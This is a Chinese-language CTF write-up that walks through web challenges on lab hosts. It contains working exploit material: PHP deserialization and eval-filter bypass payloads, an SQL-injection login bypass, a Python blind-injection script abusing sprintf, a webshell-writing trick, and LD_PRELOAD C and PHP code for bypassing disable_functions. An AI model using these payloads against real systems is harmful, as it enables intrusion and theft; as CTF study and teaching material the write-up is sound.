比较基础的一些知识点
easy_unserialize 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 <?php error_reporting (0 );class A { public $contents = "hello ctfer" ; function __toString ( ) { if ((preg_match ('/^[a-z]/i' ,$this ->contents))) { system ("echo $this ->contents" ); return '111' ; }else { return "..." ; } } } function decode_data ($data ) { $data = base64_decode ($data ); $res = '' ; for ($i =0 ; $i < strlen ($data ); $i ++){ $res .= chr (ord ($data [$i ]) + $i ); } return $res ; } if (isset ($_GET ['data' ])) { $data = $_GET ['data' ]; $data = decode_data ($data ); echo unserialize ($data ); }else { highlight_file (__FILE__ ); } ?>
有一点点逆向的思维,就是在这里:
1 2 3 4 5 6 7 8 function decode_data($data){ $data = base64_decode($data); $res = ''; for($i=0; $i< strlen($data); $i++){ $res .= chr(ord($data[$i]) + $i); } return $res; }
我们传过去的字符串实际上是往后偏移了的,第一个字符串偏移0位,第二个字符串偏移1位,第三个字符串偏移2位,依此类推。
所以生成的poc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php class A { public $contents = 'hello;cat /flag' ; } function decode_data2 ($data ) { $res = '' ; for ($i =0 ; $i < strlen ($data ); $i ++){ $res .= chr (ord ($data [$i ]) - $i ); } return $res ; } $a =new A ();$b =serialize ($a );echo urlencode (base64_encode (decode_data2 ($b )));?>
easy 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 <?php @error_reporting (1 ); include 'flag.php' ;class baby { public $file ; function __toString ( ) { if (isset ($this ->file)) { $filename = "./{$this->file} " ; if (file_get_contents ($filename )) { return file_get_contents ($filename ); } } } } if (isset ($_GET ['data' ])) { $data = $_GET ['data' ]; preg_match ('/[oc]:\d+:/i' ,$data ,$matches ); if (count ($matches )) { die ('Hacker!' ); } else { $good = unserialize ($data ); echo $good ; } } else { highlight_file ("./index.php" ); } ?>
preg_match('/[oc]:\d+:/i',$data,$matches);主要是绕过这里就行了,用+来绕过。
O%3A%2B4%3A%22baby%22%3A1%3A%7Bs%3A4%3A%22file%22%3Bs%3A8%3A%22flag.php%22%3B%7D
ctf_judge 没啥好说的,admin登录即可,username:admin'#,password: 123456
audit-01 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 <?php error_reporting (0 );$cmd = $_GET ['cmd' ];function check ( ) { global $cmd ; foreach (get_defined_functions ()['internal' ] as $blacklisted ) { if (preg_match ('/' . $blacklisted . '/im' , $cmd )) { echo "Your cmd is in blacklist" . "<br>" ; return true ; break ; } } return false ; } $file =$_GET ['file' ];if (is_file ($file )){ echo "You can't use inner file" . "<br>" ; } else { if (file_exists ($file )){ if (check ()){ echo "Stop hack!!!" . "<br>" ; }else { eval ($cmd ); } }else { echo "file isn't exist" . "<br>" ; } } highlight_file (__FILE__ );?>
第一层是绕过is_file(),同时要满足file_exists(),这里可以用目录来绕过,is_file处理目录会返回false,file_exists处理目录会返回true 第二层,是绕过get_defined_functions()['internal'] as $blacklisted,这里把php所有内置函数都不让用了。经过测试发现system被过滤了,但是``没有被过滤,
最终poc:
1 http://10.45.1.35?file=/etc&cmd=echo `cat /flag`;
audit-02 环境打不开。
audit-03 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 <?php error_reporting (0 );$cmd = $_GET ['cmd' ];function check ( ) { global $cmd ; $blacklist = ["print" ," " ,"exit" ,"die" ,"eval" ,"[" ,"]" ,"*" ,"'" ,"\"" ,"`" ,"echo" ]; $blacklist = array_merge ($blacklist , get_defined_functions ()['internal' ]); foreach ($blacklist as $i ){ if (preg_match ('/' . $i . '/im' , $cmd )) { echo "Your cmd is in blacklist" . "<br>" ; return true ; break ; } } if (strlen ($cmd )>55 ){ echo "This is getting really large input..." . "<br>" ; return true ; } return false ; } $file =$_GET ['file' ];if (is_file ($file )){ echo "You can't use inner file" . "<br>" ; } else { if (file_exists ($file )){ if (check ()){ echo "Stop hack!!!" . "<br>" ; }else { eval ($cmd ); } }else { echo "file isn't exist" . "<br>" ; } } highlight_file (__FILE__ );?>
在原有基础上get_defined_functions()['internal']又过滤了["print"," ","exit","die","eval","[","]","*","'","\"","“,”echo”]`。
引号啥的都被过滤了,这里可以用无字母数字马取反来绕过。
一开始尝试:http://10.45.1.34?file=/usr/bin&cmd=(~%8F%97%8F%96%91%99%90)(); 想试试把phpinfo打出来,发现没回显。于是换一种表达方式:http://10.45.1.34?file=/usr/bin&cmd=$_=~%8F%97%8F%96%91%99%90;$_();,这样打有回显:
接下来沿用这种模式,尝试 system和ls /
1 2 3 4 5 6 <?php $a='ls /'; echo urlencode(~$a);// %93%8C%DF%D0 $b='system'; echo urlencode(~$b);// %8C%86%8C%8B%9A%92
http://10.45.1.34?file=/usr/bin&cmd=$_=~%8C%86%8C%8B%9A%92;$__=~%93%8C%DF%D0;$_($__);
发现成功读取到根目录下文件,接下来就是cat /flag
最终的poc:http://10.45.1.34?file=/usr/bin&cmd=$_=~%8C%86%8C%8B%9A%92;$__=~%9C%9E%8B%DF%D0%99%93%9E%98;$_($__);
babytrick 这个题目一开始尝试sql注入,发现' select \ 等被过滤了,接着尝试直接字典爆破admin的密码,没有爆破成功。
dirsearch扫描一通看有没有线索,发现存在/admin,也是一个登录界面,在这个页面上进行了sql key fuzz,估计是做到数据和代码直接分开了,不存在注入。于是接着字典爆破admin,也没有出结果,其实到这里可以猜测还是在一开始的index.php页面把管理员账号注入出来,然后去/admin这里的登录框去登录。
又重新抓包看了一下,发现response那里有提示:<!-- tips:select * from user where user='$user' and passwd='%s'-->
看到%s 可以猜到可能考的是sprintf函数的漏洞,之前的靶场练习题出现过一次sprintf的考点,好吧,当时没仔细看。思路到这里就断开了,看了一下WP
同时也收集了一些关于sprintf利用的资料,大体了解了一下sprintf的漏洞点,这里专门写了一篇文章:PHP-sprintf函数漏洞解析
有个%1$c 的利用方法,给它填充39,类似于chr(39),产生引号来造成闭合。但是这里的问题来了,我是要拿到管理员admin的passwd,那么 $user传admin %1$c and substr(passwd,1,1)="X"#,代入进去就是select * from user where user='admin %1$c and substr(passwd,1,1)="X"#' and passwd='%s',猜测后台可能是 $sql=sprintf($sql,$passwd),那么我们传passwd=39 ,这样带入进去就是select * from user where user='admin' and substr(passwd,1,1)="X"#' and passwd='39',那这样就成功闭合了引号。
经过前期的fuzz发现if,ascii,> 这些都没有过滤,所以我们可以直接尝试二分法盲注来跑,这里贴上poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 import requestsurl = 'http://10.45.1.32/' flag = '' for i in range (1 ,30 ): high = 127 low = 32 middle = (high+low)//2 while (high>low): payload = f"admin%1$c and if(ascii(substr(passwd,{i} ,1))>{middle} ,1,0)#" data={"user" :payload,"passwd" :39 } r = requests.post(url, data=data) if 'window.location.href' in r.text: low = middle+1 middle = (high+low)//2 else : high = middle middle = (high+low)//2 flag += chr (middle) print (flag) if (high<=32 ): break
可以发现成功注入出admin的key。
注:这里没有用到WP的between盲注以及结合concat和binary的打法。主要是因为答案的截图不完整,我不知道它最终的poc咋写的23333,另外答案的处理是%1$c+0 ,这里就相当于 select “”+0 ,返回的是0,那么返回的应该可能是整张表的内容,但是我尝试了这样写,也可以把passwd注入出来。所以有没有可能这个user表就只有一行???或者还有什么其他的我没想到的, 欢迎大家联系我讨论。
然后我们用admin/GoODLUcKcTFer202OHAckFuN 去/admin 尝试登录发现成功登录进去,来到第二层:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 Your sandbox: ./shells/BbxLHzTaOkBaByRl/ set your shell <?php error_reporting (0 );session_save_path ('session' );session_start ();require_once './init.php' ;if ($_SESSION ['login' ]!=1 ){ die ("<script>window.location.href='./index.php'</script>" ); } if ($_GET ['shell' ]){ $shell = addslashes ($_GET ['shell' ]); $file = file_get_contents ('./shell.php' ); $file = preg_replace ("/\\\$shell = '.*';/s" , "\$shell = '{$shell} ';" , $file ); file_put_contents ('./shell.php' , $file ); }else { echo "set your shell" ."<br>" ; chdir ("/" ); highlight_file (dirname (__FILE__ )."/admin.php" ); } ?>
第二层就是写shell,我们这里可以随便尝试写个phpinfo();:
shell的路径:http://10.45.1.32/admin/shells/nQyfGQ5xTWkeyQkk/shell.php
发现并没有被解析,可能我们写的东西,直接被打印出来了。后面进去之后发现shell.php的代码是这样的:
1 2 3 <?php $shell = 'this is your shell' ;echo $shell ;
主要的写入逻辑:
1 2 3 4 5 6 if ($_GET ['shell' ]){ $shell = addslashes ($_GET ['shell' ]); $file = file_get_contents ('./shell.php' ); $file = preg_replace ("/\\\$shell = '.*';/s" , "\$shell = '{$shell} ';" , $file ); file_put_contents ('./shell.php' , $file ); }
这里似乎不管我们写什么东西,最终都会变成$shell='xxxxxxxx';echo $shell 都被搞成字符串,所以得把引号想办法逃逸。这里可以利用$0 ,$0是会匹配整个字符串。
比如我们第一步传?shell=;phpinfo();通过preg_replace函数,shell.php内容会替换成:
1 2 3 <?php $shell = ';phpinfo();' ;echo $shell ;
接着第二步我们传?shell=$0,带入到preg_replace就是 $file = preg_replace("/\\\$shell = '.*';/s", "\$shell = '{$0}';", $file);这里的$0会匹配所有字符串,带入到shell.php里面就是:
1 2 3 <?php $shell = '$shell = ' ;phpinfo ();';' ;echo $shell ;
这样的话,' 就逃逸出来了。这样尝试之后,我们可以访问看看效果:
发现成功写入进去了,接着我们可以往里面写shell,同时得绕过 $shell= addslashes($_GET['shell']); ,这里的addslashes会对特殊字符进行转义。这里可以这样写:
第一步:?shell=;eval(getallheaders(){2});
第二步:?shell=$0
接着抓包再去写一句话:
我们访问hello.php,并测试一下基本命令,可以发现成功写入:
接着直接上蚁剑,连过去发现很多命令都执行不了,查看phpinfo,发现以下函数被自己禁止了:
1 set_time_limit,ini_set,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,mail,error_log,dl,FFI::cdef,debug_backtrace,imap_mail,mb_send_mail
并且:open_basedir=/var/www/html 限制了仅web目录可以访问。
所以其实有两种可以去尝试的方式,就是绕过open_basedir的限制去读flag。另外一种就是bypass_disabled_function
这里wp是选择了第二种方式,WP是利用了LD_PRELOAD劫持来进行命令执行,直接用蚁剑的插件是打不通的, 需要对原始脚本进行魔改。这里翻到了一篇:
https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD,主要是两个脚本:
bypass_disablefunc.c:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 #define _GNU_SOURCE #include <stdlib.h> #include <stdio.h> #include <string.h> extern char ** environ;__attribute__ ((__constructor__)) void preload (void ) { const char * cmdline = getenv("EVIL_CMDLINE" ); int i; for (i = 0 ; environ[i]; ++i) { if (strstr (environ[i], "LD_PRELOAD" )) { environ[i][0 ] = '\0' ; } } system(cmdline); }
bypass_disablefunc.php:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php echo "<p> <b>example</b>: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so </p>" ; $cmd = $_GET ["cmd" ]; $out_path = $_GET ["outpath" ]; $evil_cmdline = $cmd . " > " . $out_path . " 2>&1" ; echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>" ; putenv ("EVIL_CMDLINE=" . $evil_cmdline ); $so_path = $_GET ["sopath" ]; putenv ("LD_PRELOAD=" . $so_path ); mail ("" , "" , "" , "" ); echo "<p> <b>output</b>: <br />" . nl2br (file_get_contents ($out_path )) . "</p>" ; unlink ($out_path ); ?>
我们要在linux环境下把.c编译成.so:
1 2 gcc -c -fPIC bypass_disablefunc.c -o bypass_disablefunc gcc -shared bypass_disablefunc -o bypass_disablefunc.so
因为这里的mail包括error_log 都被禁止了,但是这里的gnupg 扩展是开了的,所以我们可以把mail()换成@gnupg_import(gnupg_init(), "dummy");即可。
接下来就是把.php文件和.so文件上传到可执行的目录里面去,这里我选的是/var/www/html/admin/shells/H6m7PfuTD6HrlgrP/下面,接着访问.php文件,然后去执行我们的命令:
http://10.45.1.32/admin/shells/H6m7PfuTD6HrlgrP/bypass_disablefunc.php?cmd=ls /&outpath=/var/www/html/admin/shells/H6m7PfuTD6HrlgrP/xx&sopath=/var/www/html/admin/shells/H6m7PfuTD6HrlgrP/bypass_disablefunc.so
最后getflag:
http://10.45.1.32/admin/shells/H6m7PfuTD6HrlgrP/bypass_disablefunc.php?cmd=cat /flag&outpath=/var/www/html/admin/shells/H6m7PfuTD6HrlgrP/xx&sopath=/var/www/html/admin/shells/H6m7PfuTD6HrlgrP/bypass_disablefunc.so
easy-hash 主要在三张图片那里,没复现出来。。。